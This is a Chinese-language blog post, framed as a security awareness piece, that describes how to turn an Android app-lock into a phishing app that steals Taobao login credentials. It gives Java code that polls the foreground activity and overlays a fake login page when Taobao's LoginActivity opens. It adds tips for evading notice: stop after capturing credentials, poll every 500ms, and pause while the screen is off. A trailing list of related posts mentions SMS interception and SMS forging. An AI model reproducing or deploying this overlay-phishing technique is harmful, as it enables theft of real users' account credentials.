Android安全问题 钓鱼程序
导读:文本介绍一种钓鱼应用,讲述如何骗取用户的用户名和密码,无须root
这个话题是继续android安全问题(二) 程序锁延伸的
之前我已经展示了如何制作程序锁。当打开指定应用的时候,弹出一个密码页面。
程序锁的话题虽然是和安全相关,但是这应该属于防范的范围,如果被人恶意利用,那么后果……
这期我来揭示一下一种钓鱼程序的原理,希望广大用户不要上当受骗,最主要的是:希望大家意识到安全问
之前我用定时扫描activity的方法来检查打开的页面是不是我们所需要的页面
ComponentName topActivity = mActivityManager.getRunningTasks().get().topActivity;
如何用于钓鱼呢?比如我打开了淘宝,然后想登录,查看一下我淘宝,这时候会打开下面这个页面
从log中我们能得到其包和类的信息
log 写道
- ::14.698: I/ActivityManager(): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms
恩,这就好办了,下面我只需改三处,程序锁这个应用就会变成调用应用
第一个修改很简单,修改我们监听的包名和类名即可
String testPackageName = "com.taobao.taobao";
String testClassName = "com.taobao.tao.LoginActivity";
完整代码
public class LockTask extends TimerTask {
public static final String TAG = "LockTask";
private Context mContext;
String testPackageName = "com.taobao.taobao";
String testClassName = "com.taobao.tao.LoginActivity"; private ActivityManager mActivityManager; public LockTask(Context context) {
mContext = context;
mActivityManager = (ActivityManager) context.getSystemService("activity");
} @Override
public void run() {
ComponentName topActivity = mActivityManager.getRunningTasks().get().topActivity;
String packageName = topActivity.getPackageName();
String className = topActivity.getClassName();
Log.v(TAG, "packageName" + packageName);
Log.v(TAG, "className" + className); if (testPackageName.equals(packageName)
&& testClassName.equals(className)) {
Intent intent = new Intent();
intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
}
}
}
第二个修改有些技术含量,可能会需要一个专业的美工,来仿造一个淘宝的登录页面,就如上图所示的那样
最后一个修改,当病毒获取了用户名和密码之后,就不要再继续监听了,不然次数多了肯定会被发现
为了尽量不让用户察觉,可以把频率调高一些,比如500ms检查一次,这样用户就很难察觉了
测试项目完整源码见附件,代码是以android4.0为基础写的(当然,我的钓鱼页面是简陋的,只是用于演示)
无论是程序锁还是钓鱼程序,他们可能都担心耗电问题,因为耗电过多也会引起用户的注意
我们可以降低检查频率(当然,钓鱼程序是不会这么干的)
我们可以监控屏幕状态,当屏幕关闭的时候,我们可以停止监听,这时候也没有必要监听,当点亮的时候我们再监听
如何监听屏幕状态?
我们需要监听下面两个action
Intent.ACTION_SCREEN_OFF
Intent.ACTION_SCREEN_ON
还有一个要求,就是要动态注册才可以,不能在manifest中注册
其余的事情大家就自己实现吧
Android安全问题 钓鱼程序的更多相关文章
- Android安全问题 抢先拦截短信
同上篇文章一样,这里只陈述结果,代码分析稍后给出 导读:本文叙述如何先于某些伪杀毒软件.病毒.常规软件获取到短信 众所周知,android系统在收到短信息的时候会发送广播,但是此广播是有序广播,也就是 ...
- android安全问题(八)伪造短信(利用原生android4.0漏洞)
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
- pc端和android端应用程序测试有什么区别?(ps面试题)
pc端和android端应用程序测试有什么区别?(ps面试题) [VIP7]大连-凭海临风(215687736) 2014/4/10 8:56:171.测试环境不同PC平台一般都是windows an ...
- 分享50款 Android 移动应用程序图标【下篇】
在这个移动程序流行的时代,持续增长的应用程序经济充满了商业机遇.任何对应用程序设计感兴趣的人,将会喜欢上这里的50个独特的 Android 应用程序图标.这些例子中的图标能够让应用程序的设计更具吸引力 ...
- 分享50款 Android 移动应用程序图标【上篇】
在这个移动程序流行的时代,持续增长的应用程序经济充满了商业机遇.任何对应用程序设计感兴趣的人,将会喜欢上这里的50个独特的 Android 应用程序图标.这些例子中的图标能够让应用程序的设计更具吸引力 ...
- Java和Android Http连接程序:使用java.net.URL 下载服务器图片到客户端
Java和Android Http连接程序:使用java.net.URL 下载服务器图片到客户端 本博客前面博文中利用org.apache.http包中API进行Android客户端HTTP连接的例子 ...
- 解决IE apk变成zip:Android 手机应用程序文件下载服务器Nginx+Tomcat配置解决方法
APK文件其实是zip格式,但后缀名被修改为apk,通过UnZip解压后,可以看到Dex文件,Dex是Dalvik VM executes的全称,即Android Dalvik执行程序,并非Java ...
- 解决IE apk变成zip:Android 手机应用程序文件下载服务器 配置解决方法
APK文件其实是zip格式,但后缀名被修改为apk,通过UnZip解压后,可以看到Dex文件,Dex是Dalvik VM executes的全称,即Android Dalvik执行程序,并非Java ...
- Android Camera 相机程序编写
Android Camera 相机程序编写 要自己写一个相机应用直接使用相机硬件,首先应用需要一个权限设置,在AndroidManifest.xml中加上使用设备相机的权限: <uses-per ...
随机推荐
- template_1
0: 模板是一些为多种类型而编写的函数和类,而且这些类型都没有指定.当使用模板的时候,只需要把所希望的类型作为一个(显示或隐示的)实参传递给模板.模板是语言本身所具有的特效,她完全支持类型检查和作用域 ...
- ubuntu grub配置
一.Grub 2包含如下几部分内容:1./boot/grub/grub.cfg 文件2./etc/grub.d/ 文件夹3./etc/default/grub 文件 二.配置和意义: 1.修改grub ...
- DevExpress gridView 小结(一)
一:第一列显示行号 CustomDrawRowIndicator this.gridViewDevice.IndicatorWidth = 40; this.gridViewDevice.Custo ...
- AngularJs--过滤器(filter)
过滤器(filter)正如其名,作用就是接收一个输入,通过某个规则进行处理,然后返回处理后的结果.主要用在数据的格式化上,例如获取一个数组中的子集,对数组中的元素进行排序等.ng内置了一些过滤器,它们 ...
- PHP学习之环境搭建
计算机环境 win7 64位 搭建 apache-httpd-2.2-win64 + php-5.3.6-Win32-VC9-x64 +MySQL_5.5.13_winx64开发环境 参考: ...
- CentOS-6.5安装配置JDK-7|Tomcat-8
安装说明 系统环境:centos-6.5 安装方式:rpm安装 软件:jdk-7-linux-x64.rpm 下载地址:http://www.oracle.com/technetwork/java/j ...
- Python问题之奇怪诡异的Bug
最近又重新装上了windows 7感觉还是那样,主要是想用M8SDK写些程序.也想在windows上玩玩,一直都觉得用C写一些常用的东东很复杂,只有借助于解释性语言了,在python, ruby间选择 ...
- WPF ListBox的DataTemplate例子
<ListBox Name="lbLogInfo"> <ListBox.ItemTemplate> <DataTemplate> <Gri ...
- FPGA串口波特率简析
以前用单片机,一直都是直接用就行,设置波特率时,直接写9600就行,一直没有仔细考虑过,今天打算用FPGA写个串口程序时才知道,原来根本就是没弄明白.一下是我的一些见解.如果诸位看官觉得不对,欢迎指正 ...
- 【git】借助github学习成果
1.创建分支 git branch dev //创建分支 git checkout dev //切换分支 或者用一句 git checkout -b dev 删除一个分支 git check ...